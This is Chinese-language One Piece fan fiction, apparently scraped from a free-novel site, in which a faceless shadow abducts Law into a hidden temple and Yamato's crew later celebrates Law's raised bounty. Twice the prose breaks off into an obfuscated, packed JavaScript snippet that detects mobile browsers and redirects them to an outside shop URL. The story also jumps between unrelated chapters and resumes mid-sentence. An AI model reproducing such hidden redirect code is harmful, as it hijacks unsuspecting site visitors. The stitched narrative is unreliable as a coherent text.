他举着球棒,站在船舱里,毫无一丝杀气。就算是站在海贼船里的他突然说要跑出去打一场棒球,可能都会有人无条件相信。 罗有几分无语地看了看他,终究还是叹了口气,说可以,你自己看着办吧。 ——实在不行,他让新船员上岛后跟在自己左右不离,也勉 9. piece 9-上了贼船的亚玛和神秘庙宇 《[海贼王]想成为御田的男人》全本免费阅读 回船的路上,罗对亚玛说了在岛上徒步的想法,虽然在意料之内,但后者迅速响应的热切程度还是超过罗的预期。 看新船员兴高采烈地跑上甲板,扬声要准备徒步用的物件,反把船长丢在原地。罗无语了片刻,还是没忍住最终一抹笑意。 黑影猛然窜出草丛,逮准独处之人放松警惕的倏忽之间,一掠而去。 待到亚玛哼着歌儿,清点简单准备好的3人份(他天然以为明天还将是今日同行的3人:罗、贝波,还有他自己)的户外用品,猛地反应过来好像忘了问罗出门爱吃什么。 小跑出去一看,甲板上却空无一人。 太阳落山后稍显寂寥的滩涂上也没有人影。他回头进船舱问有没有见到船长和航海士,正在玩牌打发时间的船员答曰: 航海士刚才拿过吃食,应该已经回测绘室整理航海图了;船长嘛……没看见。 “嗯?难道还在外面玩?” “你当船长像你一样?” 新船员的鼻子一抽,莫名有些惴惴不安的感觉,不过他暂时不知道该怎么对其他人形容,只好走回甲板上想了想,要不要先去问问贝波前辈呢…… - - 被阴影袭击的一瞬间,罗还觉得这是哪来的土包子,有眼不识泰山、八成活腻了。 然而定睛一看才发觉挟持自己的“斗篷人”竟没有脸。被风吹动的兜帽中,只见得黑洞洞的影子。就算太阳已经落山,毕竟余下一道混沌天光,还不至于不能视物。他没看错: 斗篷下只有黑影,没有血肉,也没有生者的气息。 没想到看似平平无奇的小岛上,居然有这种“不干不净”的东西。他就应该在上岸后先去有人类房屋和聚落的地方调查清楚,这的确是严重的判断失误。 但愿这样的怪物不太多。看情形,它可能只袭击单独行动的人,好在船员一般都结伴行动,但愿不会有人落单。 可偏偏落单的是船长。 罗不知黑影有何目的,只见它用衣袖状的“胳膊”夹住自己匆匆赶路,也不知前方目的地为何处。 哪里就能让这混蛋为所欲为! 他正要趁黑影一意狂奔时,迅速调整好重心,抽刀斩向怪物。然而诡异的是刀刃斩过,目标却毫发无损。 他只觉得聚力一击却挥出了空刃,如同没有触到任何实体。 黑影依然挟持着他继续疯跑,速度丝毫未减,甚至于对罗的物理攻击都毫无所觉。 海贼愣了有一秒,当机立断收刀使用果实能力。“Room——” 空间展开,为节省力气以备后面继续作战,首次发动能力并未将空间铺展的太夸张,刚好对手与他距离非常近。 然而接下来无论使用哪个技能,甚至添加了电流效果,都均未见效——真是见鬼了! ——莫非由于黑影没有实体,对一切物理打击完全免疫吧! 可是为啥没有实体的玩意却能够无障碍地携带其他实体?按理来说既然罗无法用物理攻击触到它,它在碰到罗的时候也应该像触摸到空气一样穿过去才对。 他试着直接用手去触碰夹住自己的衣袖,然而手掌穿过之处只有腾起的黑雾。 正怀疑,似乎罗一番折腾终于引起了挟持者注意,兜帽口在边沿被风吹动的同时转换方向,这下被挟持的人更加看清:斗篷下完完全全只有一团混沌浓稠的影子,的确不似实体。 如此被动的状况还是出海以来首次! “可恶……”而且恶心。 红心海贼团的船长震惊之余却还是硬着头皮挣扎起来,虽然很没面子,但也只能通过剧烈扭动以期干扰挟持者的行动,或最好能从黑影手中掉回地面再想办法对付。半空中用不上力,调整重心也很累人。 黑影似乎的确受到了干扰,然而它就像能够和人一样思考般,换了一种更便利的方式——转而将罗横抱在“身”前。 “……哈?” 此刻2亿海贼、手术果实能力者、“死亡外科医生”特拉法尔加-罗的内心已经不是用震惊来形容就可以了。 他错觉仿佛一个手无缚鸡之力的女人或小孩,被体型差不多有成年人3至4倍的黑影抱在“怀”里,居然对现状毫无解脱之法。 天雷滚滚。 眼刀说不定用好了也能杀人,但却在应对没有血肉之躯的反直觉事物时,仍起不到任何效果。 这混账到底是个什么东西?为什么不说话!抓了人就一个劲跑。 ……他堂堂一红心海贼团船长怕不是要像个女人一样大叫救命吧! 在无计可施的最后关头,罗开始认真考虑没有办法的办法。于是咬着嘴唇犹豫了大概有一分钟以上,实在思索不出破解之法的男人终于眼一闭、心一横—— 认命了。 ——是的,罗绝无可能在坏蛋手里求饶或叫救命。 何况他也压根不认为,自己的船员,即便刚巧身在不远处,还能有什么办法解决毫无实体的黑影。甚至有可能增加无谓的战损。 - - “干!到底是什么东西?放开我!” 虽然不能尖叫,物理伤害也无效,但至少还是可以输出言灵攻击,就是看起来似乎也没有大用。 眼下黑影已经快速带男人跑进一处位于土山地下的空间,严格意义上说不能算山洞,因为挑高实在太夸张——甚至于房顶掩在黑暗中一眼望不到顶——这怕是把整座山都快掏空了吧。 可是区区土山地底,怎么能历经海风侵蚀、雨水冲蚀,还没有倒塌? 就算伟大航道春岛、秋岛这样的岛屿一般不会有冬岛、夏岛那样的严寒酷暑,兴许能稍稍减弱物理表面风化的进度,但在山体内建这么高的建筑也太反常识了! 除非……土山其实只是外在的伪装;先有建筑,才在建筑外包裹土堆以隐藏建筑。 罗似乎想通了其中关卡,但对于改善当下自身的处境似乎也毫无用处。 可黑影到底是停了下来,稍顿一顿,缓缓将怀里的男人放下。 罗重新踩在坚实的地面上,视线快速扫过周边环境: 建筑内壁大概由岩石堆成,颜色暗黑,便面看来有些像花岗岩一样的材质。 从黑影带他跑进来的方向有一条可容10人以上并排通过的甬道,两边每隔约15米立着一个圆形立柱,从相似性来判断应该和墙壁是一种材料。 甬道上每隔不到10米有一盏灯台,但此刻只有其中的一盏燃着熊熊的火把——罗正是借助火把的光源看清周遭,但“看清”的范围也有限度。 在火把的另一侧不远处有台阶,那台阶大得几乎能容纳巨人的脚印,就是不知道在台阶之上又有什么。 他转身就走,但可想而知黑影又迅速挪动,拦在他的面前。 “什么意思?” 海贼当然没有天真到认为自己此刻能趁双脚沾地,短暂恢复自由,就可以自行逃出不知名的建筑、摆脱黑影控制。刚才也不过是试探一下,看看黑影是何态度——如果它有“态度”这种思想的话。 紧接着,就听黑影身后、刚刚进来的地方此刻正传来轰然巨响,声响如同巨大石门正缓缓闭合。 “你想困住我?” 黑影没有任何声音传出来,自然也没有显示任何放他就此离去的意思。海贼回头抬眼看了看它——毫无表情,当然,因为——根本没有面孔。 既然这样,他干脆不再理会黑影,暂时出不去,对方也并不主动出手攻击他,他便按照自己的直觉朝甬道内走去。快到大台阶时,他亦抬头瞥了眼唯一点亮的火把。 仔细看火把上已凝结着融化后留下来的黑色油污,看起来像是已经燃烧许久的火把(或许还能继续燃烧),且并非以木头本身作为可燃物。不知实际起作用的可燃物质是什么,离近了又能闻到散发的特殊芳香。 不过最终还是决定靠对夜视能力的信心继续向前走。先不说香气有点诡异,如果向前走半道中火灭了,他会突然置于陌生的黑暗,很长时间都适应不了黑暗,甚至引起不必要的恐慌。不如现在就不要执火。 踏过一层又一层台阶,前方赫然出现一座更高的台阶——不对,若将视线继续抬高,仔细分辨一番,竟发现那就像一把巨大的座椅:“巨人的座椅”。 他皱紧眉头,试图回忆过去所看过的文献,然而全无可与之匹配的词条。 正要抬脚再向四周看看:有什么机关——或者最好——有什么提示能用于对付身后的巨大黑影。 “Room——”他再次打开自己的能力“手术室”,但猛然发觉黑影从身后冲出来再次扑向他。 - - 罗被剧烈的轰隆声吵醒时,正平躺在一处无边的黑暗里。 他忘了自己是在什么时候失去意识,坐在原地想了一会,才记起最后的画面似乎是扑面而来的黑影,以及一阵不知是幻觉还是梦境的尖利哭声。 ——是黑影发出的哭声? 不容细想。他即刻扶膝站起来,想看看身在何处,然而一低头竟就连自己的手掌都瞧不见,更遑论膝盖、腿脚、脚下的空间。一阵本能的寒意霎时裹挟了他。倒不是这里有多冷,寒意从心底冒出来。 即便呼吸依然畅通,四周散发着的却是陈腐、衰败的气息,好像已经被封闭、弃置了许久。他小心翼翼地在什么也看不见的情况下挪了两步,并谨慎地摆动双手:什么也没摸到,而且但无论哪个方向都感受不到一丝空气流动。 果实能力本应可以帮他感受空间内所有的事物,然而一阵无力感又在这时侵袭了他——没有力气,使不上力。打开“手术室”空间本来就很费力气,而眼下能用上的力气只够将空间展开如指尖这么大一点——这什么情况,海楼石的作用吗? 感觉不太像,如果是海楼石,那么此刻他应该是一点力气都没有,更别提还能用到指尖这一点空间。 那么难道是药物作用吗? 难怪会莫名失去意识,原来是不知不觉被下了药!是什么时候的事?居然完全未察觉。是黑影做的吗? 一连串的问题在黑暗中得不到答案。若是还能使用果实能力的话,他也本可先替自己的身体做一番检查,然而用不了。不能依赖恶魔果实的能力啊……可如今除了这一能力,也没有别的依傍。 妖刀鬼哭不在身旁,就连头顶的帽子也没了踪影——应该是被黑影架着狂奔时就掉在了半路——该死,他还挺喜欢这两样东西。 真不该对任何事物太喜爱或有依赖,否则失去便会无比遗憾。 嘲讽的想法从脑海一闪而过,他知道不是能走神琢磨这些时候。黑影的目的是什么、此刻身处何地、怎样才能摆脱黑暗以及摆脱黑影的控制,这些才是他要考虑的问题。 然而身边实在摸不到任何物体,朝一个方向走了许久也碰不到一处类似于墙壁的实物。 ——但愿他不是被黑影“吃”进了体内。 一个恐怖的想法闪过,虽并未将自己吓到,却还是引发了别的联想——既然如此,他一直以来惦记的事情是否就算失败了,中止了,再也无法完成支撑自己出海走到今日的目标,而目标就像他自己曾说过的那样“荣华富贵、长命百岁”…… 黑暗中就连时间都被压缩变形,感觉不出时间的流逝。 他虽然想一直站着,一直抬头直到看透真相、看穿这片彻底的黑暗。然而眼下在坚持下去也不过是与自己僵持,最终还是只能弯下腰、乃至跪伏触地,用手指摸索地面上的裂纹。 这黑暗令人窒息,压弯人的背脊,让人只能像动物一样在地上爬行。 曾自由、不可一世的海贼突然明白:这下真地孤立无援了。 即便他此刻肯放下面子、不再犹豫叫救命,只怕也没有人能来救他。没有人能听见,没有人能赶来。 “轰!”又是这样一声,这次似乎更近了。 如同地震似的声音,连他也确能感受到手掌下的震动。有沙石下落的声音随之传来,空气由刚刚的沉寂但平静,开始变得有些污浊,他没忍住咳嗽了一声。 是地震吗?他才醒来,这里就要塌了?为什么? 为什么他会被关在这么个诡异的地方? 黑影干的吗?为什么要这么做? 为什么又剩他一个人——他偏好独自行动,尤其是调查人贩集团的线索时,不使其他同伴受牵连,也是因为对自己的实力有信心——只有他一个人面对毫无缝隙的黑暗。 冷静。像过去一样,想办法应对,无论是要独自生存还是报复,冷静。 可是黑暗没有漏洞,这不是人、或某种常识能够理解的力量,甚至不是恶魔果实那样超人的力量。这根本不是能创造或抵消的力量。 是神吗?比天龙人这样的伪神更纯粹的“神”? “有人吗……”开口对着虚无说到,声音在空旷的环境中迅速向四周逃逸,甚至让人惊忧声音是否太快背叛自己而去,故此不敢轻易再开口。 被他说对了么,黑暗才是一切至高无上的神?而他深处绝对的黑暗中,此刻竟显得如此渺小。 可理智说别犯傻,还是要再尝试一番,挺直了脊梁更大声地问到:“有人吗?有人在嘛?”这里要怎么才能出去? “……没有人吗?” 罗不是没有体验过自己大声呼喊却无人能听到的情形。 只不过上一次,有人为了让他活下去,才不让他发出声音。可这一回没有人听见他,却是要将他陷入死地。 你要自由地活下去!罗。 ——柯拉松先生曾说。 “救……” 轰隆声接连传来,似乎每一次的动静越来越密集。与之相应的,地震似乎也愈发剧烈,碎石抑或土渣不断从头顶向下掉落,掉在罗的头发上、罗的肩上、脚上……仿佛要将他活埋一样。 他还是凭着求生欲张开了更大一张空间,但还是做不到覆盖全身。 “干!”他如果能从这里出去,无论用什么办法,也要把那个破黑影碎尸万段! “来人啊——有人能听到吗? “——搭把手,救命啊!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913323|133034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正过的又会忘,手指头都要比抽筋了,进度好像也只有一点点。 “来颗黑巧克力精神一下!”食物库已经敞开,在柏瑞的大力支持下,荣升为手语“家教”的伊卡库可以放心从里面翻取辅导功课所需的食材,并定点投喂努力中的船员。 “啊不行不行,我的脸上已经长了好多痘,再这么吃下去会连上厕所都变得困难。”赛蒙摆摆手,表露退却之意。 不过还是有人代替他伸出手,接过女船员掌心的巧克力直接塞进自己嘴里,边嚼边迫不及待地呜囔:“伊卡库,这个我已经学会了,进行下一项吧!” 这么主动要求的人嘴角此刻正冒着一颗红红的肿泡,也是在高强度学习外加高糖度刺激下正上火的船员。 “好棒~好棒!亚玛酱,那我们可就继续教下一课咯,你确定不用像赛蒙一样,稍稍休息一下?” “不用。我感觉精神刚刚好,而且巧克力现在也开始起作用了。” 女船员面露欣喜,黑眼睛此刻亮晶晶地望向白发船员。“不愧是亚玛酱!果然不负我望,你一定很‘爱’船长!” “诶……” “好孩子、好孩子。”厨子也在旁边揉揉好学宝宝的白色发顶,“我相信你一定能照顾好船长,加油!” “……唔!我会的!”刚被女船员善意的玩笑歪打正着的人淡化面部红晕,握拳以表决心。 “喂喂,你们可真是……”原本还想缩回船员室的赛蒙见此情形,也不知说什么好了。左思右想,他还是认命走回来坐下,像是被什么所影响和打动了那样,也拾起1块巧克力,一边翻笔记,一边啃了起来。 可无论如何——又或许赛蒙真地太疲劳而脑子变慢——越是学下去,他发觉自己和另1位“同台竞争”者差距越大。 到了后面,不知是有意无意地,他所扮演的角色已经变成“伴读”的激励者:为以一种竞争状态激励另1人更好地练习手语。 如果说不甘心的心情或许是有的,何况他也很景仰爱戴船长。不过在看到同伴如此认真、坚持地练习,他又不禁甘拜下风,进而情愿继续“伴读”身份,与女船员和厨子一样鼓励对方、为“竞争者”的进步振奋。 当然,就算大和的体力再好,其他人陪他这么练习下去,迟早也会累趴的。 聚在一起研究手语的4人终究还是分散回房间休息。可白发海贼有些难以入睡,大约进食的巧克力太多,睁着清醒的双眼看了舱顶好一会,还是决定趁海湾处月色正好,悄悄起身到甲板上透气。 甲板瞭望塔上有船员正在放哨,看到人影出来便朝同伴招招手,并未出言干涉。 大和想起1个星期之前月亮就快要圆了,放下手臂后再往天边一看:果然已经十分圆满。这等耀眼,连周边的星星看到都不禁羞愧地藏起锋芒。 大和趴在船头观望海面的波澜,深蓝色海浪中仿佛流动着一枚枚崭新的银币——难怪大海给人以富饶的想象——月色下一切看起来既宁静,又暗流涌动。 不晓得罗和其他离船的人是否平安无虞,计划是否顺利,此刻又在做些什么。应该不会有太大的意外吧? 他睹景思人,思绪不禁又随海水一起漂向数日前那个淡紫色的黎明。 - - 他能察觉到在前一晚最后罗似乎有些失控了。等他的意识能够恢复清明时,已发觉自己浸泡在温度适宜的浴缸中,借助他人力量清洗和放松身体。 被目光正对之处胸膛前的华丽纹身所吸引,反应过来时,舌尖正轻轻描摹着上面的桃心形状与延伸出来的枝蔓。 “我看你很不怕‘死’呢。”头顶传来的口吻有几分调侃。 他引颈望去,无意间问了句傻话:“我还活着吗?” 男人促狭地笑了笑,手掌微微用力扶起他的肩膀,帮他挺起上半身。“还想要活着的证明么?” “……”他看到:沾水脸庞在顶灯下反射有如钻石的光芒,短发上有层近墨蓝色反光,须鬓将原本秀气的脸型修饰得刚好英武硬朗——这模样的确令人喜欢,但是:“这和我想象的不太一样……” 说完他又无力地倒在罗胸口,察觉到后者仰过头去,无声地震动胸腔。 大约感觉到对方心情不错,因身体疲乏而懒散地阖着眼眸的他也不禁挽唇微笑。 出于大和还不太能理解的理由,罗好像对于自身所造成的“杰作”还有些得意。这之后帮起身站稳都嫌勉强的他扶出浴缸,进而用毛巾擦干并穿衣时,面上都带着有几分调皮的笑容。 白发人看在眼里,也安然地倚在对方身边,眸光又软和几分。 两人一晌贪欢,外界已蒙蒙作亮。 白花从天而降如羽毛般落在床角,而他们则被罗的能力“对调”,瞬移至出发前的草坡。 彼时,蓝紫色的霞雾笼罩着整个峡湾,海水就像浅色紫水晶那样剔透。 大和睁大了双眼呆呆遥望由外而内、由紫红渐变做金黄的朝阳,还有它正沐浴的大海——那是如今他想去便能去的地方——这片大海上此刻正闪耀最为自由且幸福的光芒。 身旁另1名男人又在此时轻柔地凑近他,鬓发蹭在一起,黑白相间,两人脸庞上的绒毛也在近距离下彼此摩挲。最终唇瓣相触,恰到好处地相濡以沫。 罗扶着他的腰帮他站稳,久久亲昵过后,目光如丝缠绕,“别忘了我,”低醇如酒的嗓音对他呢喃,“千万别忘了我。” 不会的。 - - 大和无论如何也不会忘记罗带给自己的痛楚和温柔。距离愈远,也只会思念愈增罢了。 所以他绝不能让罗出任何意外,就算刚亲密后的同日对方就因他反对计划看起来非常生气,(虽然他这次也没觉得自己说错了什么),甚至出发去洛基岛之前都不再跟他说话,他也坚持自己的意见。 即便还不清楚罗提到的计划中可能的变数和风险是什么,他也要跟去,一定要看着罗。就算海贼追求的不是安全,就算旅途往往伴随险境,哪怕要一起承受危险,也不忍见罗独自远行。 看着海面上越加升高的月亮,大和从凭栏上放下胳膊,略作思索,朝夜幕无声地做了一串手势,光是表达人名就用了3个: ‘月色很美,罗。’ ——你也看到了嘛? 28.piece 28-船长的谋划与首战告捷 大都会郊外的荒芜海湾,停泊着一艘绘有夸张笑脸的船只。 那是一艘海贼船,因此不能停在商旅如织的正常海港,只能悄无声息地停靠此处。 “亚玛,有人找你。”清晨开始大和还在埋头苦练,有甲板上放哨的船员通知他,“是女孩子哦。” “莉娜吗?”在科斯莫岛会找他的女孩,目前他只能想到苏梅-莉娜。 “不是,”船员也大多也认得莉娜,“而且这位还有同行的男伴,也是生面孔。” 嗯?会有两个海贼们都不认得的人来找他,大和想不出来是谁了。“哦,我这就来!” 照理说,他在科斯莫岛没什么朋友,应该不会有人特地到这么偏远的地方来海贼船上找他。 走上甲板去看一眼,愣过方想起来确实有一面之缘。 “咦,是你……”他甚至不记得交换过姓名,也就叫不出女生的名字。 看起来20岁上下的女性此刻站在船尾下方,见到大和探出头来便抬臂招了招手。 更远处相距大概不到20米的地方站着年龄相仿的男性青年,似乎与此同时也正抬头打量船上的人影。 大和不认得那个男人,但的确记得女人是曾和他一起在科斯莫岛被人贩捆在货船上的受害者之一,并且也多亏她的戒指才助他得以挣脱缚腕绳索。 他从舷梯上连跑带跳地迅速蹦到地面来,才又与迎上来的不知名年轻女性会合。 “你好……抱歉,我还不知道你的名字。” “叫我伊德海拉就好。你叫亚玛对吧?”女人倒是提前知晓他的名字。 “是的,叫我亚玛就可以。”大和习惯了不纠正以此名来认识和称呼他的人。“请问那位……?” “那是我的丈夫。”女人回头和他一起朝一同来的年轻男人看过去,在此后又抬起手向大和展示了手上有磨损痕迹的戒指,“记得么?1个多月前你就是用这枚戒指解开绳索,也救了我。那时我刚订婚不久,婚礼就在半个月前刚刚举行。” “啊……祝贺新婚!”大和后知后觉地补上道贺,与此同时露出笑容:“——太好了。幸好你一切平安!” 没想到他当日碰巧遇到的其他受害者不禁帮了他,还顺带阻止了更多悲剧发生。 “那你的丈夫知道嘛?对了,还有,戒指被我磨坏了……没什么麻烦吧?” “没关系,这也算‘大难不死’的象征。”伊德海拉也笑着指指戒托上被磨变形的地方,“他知道,所以我说想来看看你,他虽然不是很情愿过来,却还是同意了。” 大和听后也就想当然地理解:“确实普通人应该很难信赖海贼吧。不过你们是怎么找到这里的?” 伊德海拉摇了摇头,却还是顺着问题答:“我有个朋友担任陪审员,在法庭听说苏梅小姐是被你救下的,我就找苏梅小姐打听你在哪里。” “是这样啊……”可直觉却让大和觉得说不通。按说海贼船靠岸这件事应该需要保密的,莉娜可能也明白——虽说莉娜如果轻易地讲出去了,他也不会怪她什么。 “那天半路出现的男人也和你一起回来了吗?” 大和眨了眨眼,忽然觉得自己好像明白了问题关节所在。不过他还是笑笑答:“他此刻不在,我们也要很快去别的地方会合了。” “这样,那可惜了,就请你帮我给他也带个谢吧。” “好,包在我身上!”大和又善意地笑起来。 伊德海拉抬头瞅着他的样子,若有所思。“还有1件事,我想了想,觉得有必要找你坦白清楚。” 正当白发海贼疑惑,她解释到:“那天在人贩子的船上,我见过苏梅小姐。” “……你见过?”海贼愣了一下,如果他那时的记忆没有出现错乱,分明记得面前的女人曾说“没有”。 “是的。我见到她了,和你当时形容的外貌差不太多,今天我来之前也见到了她的样子,也得以确认。很抱歉,那时我不想再拖延时间,我想不仅对你解释起来需要花时间,如果你执意要在船上其余地方找她,也会花时间……那个时候我只想快一点逃出去,再晚可能就会被人贩子抓到。” 她在诉说歉意的同时,目光却毫不动摇,似乎并未对那时的决定后悔。 的确伊德海拉为了摆脱危险,放弃可能被留在船上其它处的受害者——她可能在短时间内严肃地考虑过,也可能根本连考虑都没有考虑,便以自身安危为第一要务——虽说后来大和在罗的帮助下一同搜索了整艘船只,也审问过人贩子,确定莉娜已不在船上。 即便从结果来看没有被遗漏的人,伊德海拉的决定还是令人提心吊胆。 然而他却没有办法责怪她。 他能感觉到,女人很聪明,从刚开始见面到现在,她始终清楚自己为了什么、要怎么说、怎么做,哪怕是在1个多月前身处险境时,她也能够理性地判断并作出行动。 无论是注意到彼时大和在想办法挣脱时,配合他提供戒指作为挣脱的工具,将逃跑的希望寄托于他,还是在那么紧张的情况下坚决地否认见过莉娜……这样的冷静和果决在1个普通人身上都十分难得。 她懂得在恰当的时候互帮互助,也会在必要时当机立断,不论做法是否冷酷。 而她也不是没有善恶判断,在猜到大和有可能已经回到科斯莫岛,她又找来了。“陪审员朋友”、找莉娜打听海贼船位置、乃至表达谢意或许都只是托辞,她真正想说的应该就是此刻大和后知后觉的真相。 他想了想,虽已收起笑脸,却还是用平静的语调回答:“我想,应该也很难讲出你有什么错处。在那种情形下,你担心会被人贩子卖掉,前景迷茫,又有可能错失爱人,错过婚礼。你会害怕,会担心因为我犹豫不决而失去宝贵的逃生时机,都是很自然的想法……” 可是,作为当事人之一,大和的内心不免还是有些不舒服。 如果伊德海拉的理性抉择害他错失营救莉娜的最佳时机,他应该会比现在生气,也可能不接受伊德海拉的道歉。 最坏的情形没有发生,那是不是普通人的自利行为就可以得到原谅? 又或许那时的“亚玛”(大和)显得还不是那么靠谱,虽然让伊德海拉觉得可以试着借力逃出生天,却并非全然信任他的能力。如果他当时看起来更加强大,会否伊德海拉会放心再赌一把? 现实和假设交替摆在大和面前,让他无从获得最佳结论。 “不过,”他还是没忍住,再次开口,“如果在那个时候不只有我1个人可以救你和其他人,又或者你明知我可以打倒所有坏人,你也不会再有危险,你会选择告诉我关于莉娜的消息吗?” 女人的面部表情似乎因他的假设而显露惊讶。她停下来几秒大约用作思考,之后冷静地回答他:“我想会的。” 大和点点头,不笑,也不再关于这个话题多说什么。 他终究目送伊德海拉退后和丈夫共同离去,看到人影走远,才又回到海贼船上。 正好在甲板上的佩金走过来朝他招招手。“真不愧是大都会,有这么漂亮的女人,她是你朋友?明星吗?” “这个嘛……”很难说,严格来讲可能未必算得上朋友,但确实有值得一提的渊源。 而且对方不仅外表极其美貌,也非常有头脑。莫名地(即便很不喜欢这种联想)让他想起罗。 “我不知道她是不是什么有名的艺人,她叫伊德海拉,不过我忘了问姓氏。佩金前辈有兴趣可以查查看。顺带一提,她已经结婚了哦,刚刚一起来的就是丈夫。” “哦,不不,不必了。有这么不得了的名字(注),我还哪敢‘有兴趣’……祝她老公平安幸福。” 大和不明所以地点点头,没太关注所谓“不得了”之处是什么。 “佩金前辈,她刚才说是找莉娜问到我们的位置。不过我总觉得没那么简单—— “她曾经和我一样被人贩集团抓走关起来,又一起逃出来,那时我刚好遇到罗。我在想会不会有可能她实际记住了船长的样子,进而查到我们。这回听说莉娜打官司的消息,就循着什么特征自己找来了。 “她刚刚还提到她丈夫不是很愿意跟来,我想有可能的原因是他明知我们是海贼?” 佩金听完他一连串分析,不禁面露讶异,“可以哇,大和,你最近进步很快!”——已经不是刚上船时“狗头狗脑”的“新人小白”了嘛! 大和暂未理会海贼的夸奖,继而提出:“保守起见,我们要不要再换个地方停船?”老实说,他无法完全信任伊德海拉。 不仅因为过去曾在不容闪失的情况下被她“骗”过1次,实际上就在刚刚,大和问她最后的问题时得到的答案,虽然是他想听到的答案,但直觉令他无法相信那是她的真心回答。 “唔,有道理。我相信你的判断,咱们‘挪窝’吧。”佩金说着又拍了拍旁人的肩膀,转身去船舱找白雁传达指令。 无关是非善恶,伊德海拉也并未主动伤害谁。这世上确有太多复杂的人、复杂的事情,让不断触碰到这一切后原本简单的人不免提高了戒心。 就像伊德海拉不相信大和,大和也变得难以相信她。这也是为什么他下意识不希望在理解伊德海拉时联想到罗。 ——这情况与他对罗的态度不一样。或许就像律师所曾作出的判断那样,罗的个性构成也有些复杂。不过大和信任罗。 还不仅仅只是“相信”那么简单,他还有更重要的理由。 - - 在远去的黑发女人与丈夫之间另有一段“不信任”的对话。 不过是由伊德海拉的丈夫发起:“那种怪人——听闻原来打工的地方都传‘她’总声称自己是男人,也不知道是同性恋,还是真地‘不男不女’——干嘛非得见这一面?我看以后还是别再接触为好。” “我觉得那个人应该没什么危险吧。可能酒吧街那地方很少招女人打杂,所以要自称男人才有活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941876|133034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干吧?不过确实很奇怪呢,那个人,该说有点太‘滥好人’还是什么的……” 与丈夫不同,女人对于方才的白发人并无太负面的看法,甚至还有些好奇那到底是个什么样的人。但作为萍水相逢的陌生人而言,若非确定未来有互惠互利的机会,确也不必进行太深入的交往。 更何况,如果她没理解错,那人刚才已经变相承认了自己是海贼。 没想到乐器店的女儿苏梅-莉娜是被海贼救下来的,可又为何还要巴巴地替海贼注销案底,甚至不惜起诉自己过去的恋人? 还是说恋人本就做了什么不好的事,才会被起诉呢? ——虽然有关苏梅-莉娜的事情是通过法庭工作的朋友得悉,她为此还好奇地登记了陪审员报名,但可惜没被抽中,当然也没有适当的机会真正去见苏梅一面。 苏梅-莉娜会说出白发人是海贼的事吗?还是说已经打算要黑不提、白不提呢? 伊德海拉也对那位看起来弱不禁风的小姑娘产生了一些兴趣。 不知小姑娘收到她留在乐器店的信件后会有什么反应。她实际上真正欠了1个道歉的对象也是苏梅-莉娜吧。 - - 科斯莫波利坦近日新闻被17岁少女起诉男友、进而促使警方缉拿帮派与人贩集团的消息霸占,一时就连平日充斥本地报纸的娱乐八卦新闻都暂且偃旗息鼓。 然而当海上更大的新闻传来,一切或正经、或花边新闻都得靠边。 “极恶世代”海贼、有“死亡外科医生”之称的特拉法尔加-罗,挑衅前洛克斯海贼团(现已自立门户)海贼王直,后者率旗下兵马在洛基港登陆,中了罗的埋伏,与闻讯前来的海兵狭路相逢。海军大胜,王直落败被捕,部下海贼仓皇败退,罗则收了一把“渔翁之利”。 “咱们船长这回大出风头了!” 自罗带人出发起,佩金就在紧密关注报纸消息,也是他在清晨第一时间将随报纸一起取得的新悬赏令拍在桌面上。“真他娘的痛快!” “啊嘞……” “4亿4千万?!” ——罗的悬赏金一口气翻了1倍不止啊! “顶上战争之后光看着‘草帽’路飞出尽风头,这下也终于轮到我们船长啦!” 驻守极地潜水号的海贼们沸腾了。船长临出发前只说洛基岛计划成功后,他们很快就会收到情报。没有什么比新刊发的悬赏令更直接的情报! 悬赏金背后的意思——换个方式理解——某种意义上就代表“坏人”给官方惹出大麻烦之后功成身退。 一双双手抢阅着最新的悬赏令和报纸,等传到海贼船杂务手里,色调显眼的长发一转,人已经灵巧地躲到别人暂且够不到的吧台上面,仔细端详。 海军没有承认这次计划是受海贼诱导和利用,只宣扬了大战成功的消息,还有1位名为克比的年轻海兵一战扬名、被授予英雄称号。 但是军方为罗调整的悬赏令数目背后或许也有一丝气急败坏,又可能是罗在参战时的表现引起了世界政府的警惕。不易猜测。 ——他也好想在现场亲眼一睹他家船长是如何做到的啊啊啊!! “臭小子,下来!” “别人还要看呐!报纸只有1份!” “快滚回去练习手语哇!别在这里添乱。” 围在吧台旁的同伴们上蹿下跳,对他这种“吃独食”的行为一片谩骂。 大和低头一瞧,只见一个个跳脚的海贼表情狰狞地向他伸出手臂,不看还好,一看有种置身三途河被恶鬼们拽裤脚的错觉。 “哇!你们好吓人!” “废话,我们可是海贼啊!快交出报纸不杀!” “拜托了,我还想再看一会,就一小会——救命!柏瑞!——”眼看求饶无效,海贼之中有人也已经翻上吧台作势朝他扑来,白发海贼大声疾呼外援。 就是脸上一点也看不出恐惧之色,反倒面带根本藏不住的笑容。 厨房和餐厅无可争议的“霸主”手持擀面杖转眼已冲了出来:“臭小子们!禁止在餐厅胡闹,要闹滚到甲板上去!” 好吧,新人海贼倒是越发聪明,知道船长不在的时候,至少管放饭的人权势最大。 船长不在“家”,一帮无法无天的海贼闹作一团,被厨子无差别“一碗水端平”地统统各捶一遍,各领鸡蛋大小的“毛栗子”后撵出舱外。 名义上值守海贼船日常的佩金袖手笑看这一幕,也看到了人群中同样顶着肿包还在傻乐的大和。 